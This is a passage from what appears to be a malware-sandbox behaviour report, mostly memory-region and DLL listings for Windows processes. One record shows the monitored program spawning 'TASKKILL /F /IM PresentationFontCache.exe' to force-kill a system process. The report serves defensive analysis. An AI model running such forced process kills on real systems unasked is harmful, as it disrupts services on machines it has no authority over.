"pagefile_0x0000000000060000" filename = "" Region: id = 3743 start_va = 0xb0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 3744 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3745 start_va = 0x8c0000 end_va = 0x8d5fff entry_point = 0x8c5c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 3746 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3747 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3748 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3749 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3750 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3751 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3752 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3753 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3754 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3755 start_va = 0x320000 end_va = 0x39ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 3756 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3757 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3758 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3759 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 3760 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 3761 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3762 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3763 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3764 start_va = 0x4d0000 end_va = 0x5cffff entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 3765 start_va = 0x7b0000 end_va = 0x7bffff entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 3766 start_va = 0x6a520000 end_va = 0x6a60afff entry_point = 0x6a5213ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 3767 start_va = 0x6a8a0000 end_va = 0x6a8d4fff entry_point = 0x6a8a13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 3768 start_va = 0x6a8e0000 end_va = 0x6a8eefff entry_point = 0x6a8e12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3769 start_va = 0x6a8f0000 end_va = 0x6a8f8fff entry_point = 0x6a8f15a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3770 start_va = 0x6a900000 end_va = 0x6a910fff entry_point = 0x6a901300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3771 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3772 start_va = 0x73e30000 end_va = 0x73e3cfff entry_point = 0x73e311e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 3773 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3774 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3775 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3776 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3777 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3778 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3779 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3780 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3781 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3782 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3783 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3784 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3785 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3786 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3787 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3788 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3789 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3790 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3791 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3792 start_va = 0x77410000 end_va = 0x7749ffff entry_point = 0x77426343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3793 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3794 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3795 start_va = 0x5d0000 end_va = 0x757fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 3796 start_va = 0x767e0000 end_va = 0x7683ffff entry_point = 0x767f158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3797 start_va = 0x771f0000 end_va = 0x772bbfff entry_point = 0x771f168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3798 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3799 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 3800 start_va = 0x80000 end_va = 0x83fff entry_point = 0x80000 region_type = mapped_file name = "taskkill.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\taskkill.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\taskkill.exe.mui") Region: id = 3801 start_va = 0x90000 end_va = 0x90fff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3802 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3803 start_va = 0x160000 end_va = 0x160fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000160000" filename = "" Region: id = 3804 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3805 start_va = 0x3a0000 end_va = 0x45ffff entry_point = 0x3a0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3806 start_va = 0x770000 end_va = 0x7affff entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 3807 start_va = 0x7f0000 end_va = 0x82ffff entry_point = 0x0 region_type = private name = "private_0x00000000007f0000" filename = "" Region: id = 3808 start_va = 0x8e0000 end_va = 0xa60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 3809 start_va = 0xa70000 end_va = 0x1e6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a70000" filename = "" Region: id = 3810 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 3811 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 3812 start_va = 0x170000 end_va = 0x170fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 3813 start_va = 0x6a830000 end_va = 0x6a88bfff entry_point = 0x6a852b48 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\SysWOW64\\wbemcomn.dll" (normalized: "c:\\windows\\syswow64\\wbemcomn.dll") Region: id = 3814 start_va = 0x6a890000 end_va = 0x6a899fff entry_point = 0x6a89149a region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemprox.dll") Region: id = 3815 start_va = 0x1e70000 end_va = 0x1f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000001e70000" filename = "" Region: id = 3816 start_va = 0x2050000 end_va = 0x208ffff entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 3817 start_va = 0x6a800000 end_va = 0x6a828fff entry_point = 0x6a806b19 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\SysWOW64\\winsta.dll" (normalized: "c:\\windows\\syswow64\\winsta.dll") Region: id = 3818 start_va = 0x2a0000 end_va = 0x2dffff entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3819 start_va = 0x2090000 end_va = 0x235efff entry_point = 0x2090000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3820 start_va = 0x23d0000 end_va = 0x240ffff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 3821 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 3822 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 3823 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 3824 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 3825 start_va = 0x460000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 3826 start_va = 0x870000 end_va = 0x8affff entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 3827 start_va = 0x1fb0000 end_va = 0x1feffff entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 3828 start_va = 0x1ff0000 end_va = 0x202ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 3829 start_va = 0x6a7f0000 end_va = 0x6a7fefff entry_point = 0x6a7f21a0 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\SysWOW64\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\syswow64\\wbem\\wbemsvc.dll") Region: id = 3830 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3831 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 3832 start_va = 0x6a480000 end_va = 0x6a515fff entry_point = 0x6a49f8b9 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\SysWOW64\\wbem\\fastprox.dll" (normalized: "c:\\windows\\syswow64\\wbem\\fastprox.dll") Region: id = 3833 start_va = 0x6a7d0000 end_va = 0x6a7e7fff entry_point = 0x6a7d1335 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Thread: id = 242 os_tid = 0xa34 Thread: id = 243 os_tid = 0x6f4 Thread: id = 244 os_tid = 0x5b4 Thread: id = 245 os_tid = 0x4d8 Thread: id = 246 os_tid = 0x514 Process: id = "31" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x56796000" os_pid = "0xa78" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0xbb0" cmd_line = "TASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe " cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3834 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3835 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3836 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3837 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3838 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3839 start_va = 0xd0000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 3840 start_va = 0x1d0000 end_va = 0x20ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3841 start_va = 0x880000 end_va = 0x895fff entry_point = 0x885c89 region_type = mapped_file name = "taskkill.exe" filename = "\\Windows\\SysWOW64\\taskkill.exe" (normalized: "c:\\windows\\syswow64\\taskkill.exe") Region: id = 3842 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3843 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3844 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3845 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3846 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3847 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3848 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3849 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3850 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3851 start_va = 0x3c0000 end_va = 0x43ffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3852 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3853 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3854 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3855 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 3856 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 3857 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3858 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3859 start_va = 0x110000 end_va = 0x176fff entry_point = 0x110000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3860 start_va = 0x330000 end_va = 0x33ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 3861 start_va = 0x5f0000 end_va = 0x6effff entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 3862 start_va = 0x6a7b0000 end_va = 0x6a89afff entry_point = 0x6a7b13ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 3863 start_va = 0x6a8a0000 end_va = 0x6a8aefff entry_point = 0x6a8a12a1 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 3864 start_va = 0x6a8b0000 end_va = 0x6a8c0fff entry_point = 0x6a8b1300 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 3865 start_va = 0x6a8d0000 end_va = 0x6a8dcfff entry_point = 0x6a8d11e0 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\SysWOW64\\wtsapi32.dll" (normalized: "c:\\windows\\syswow64\\wtsapi32.dll") Region: id = 3866 start_va = 0x6a8e0000 end_va = 0x6a914fff entry_point = 0x6a8e13d5 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\SysWOW64\\framedynos.dll" (normalized: "c:\\windows\\syswow64\\framedynos.dll") Region: id = 3867 start_va = 0x73ba0000 end_va = 0x73bb1fff entry_point = 0x73ba1200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 3868 start_va = 0x73e30000 end_va = 0x73e38fff entry_point = 0x73e315a6 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 3869 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3870 start_va = 0x74b50000 end_va = 0x74b58fff entry_point = 0x74b51220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3871 start_va = 0x75330000 end_va = 0x75348fff entry_point = 0x75331319 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 3872 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3873 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3874 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3875 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3876 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3877 start_va = 0x76690000 end_va = 0x7677ffff entry_point = 0x766a0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3878 start_va = 0x76780000 end_va = 0x767d6fff entry_point = 0x76799ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3879 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 3880 start_va = 0x769a0000 end_va = 0x769b8fff entry_point = 0x769a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3881 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3882 start_va = 0x76c90000 end_va = 0x76d2cfff entry_point = 0x76cc3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3883 start_va = 0x76d30000 end_va = 0x76e8bfff entry_point = 0x76d7ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3884 start_va = 0x76ea0000 end_va = 0x76ea9fff entry_point = 0x76ea36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3885 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3886 start_va = 0x772c0000 end_va = 0x77305fff entry_point = 0x772c7478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3887 start_va = 0x77310000 end_va = 0x7740ffff entry_point = 0x7732b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 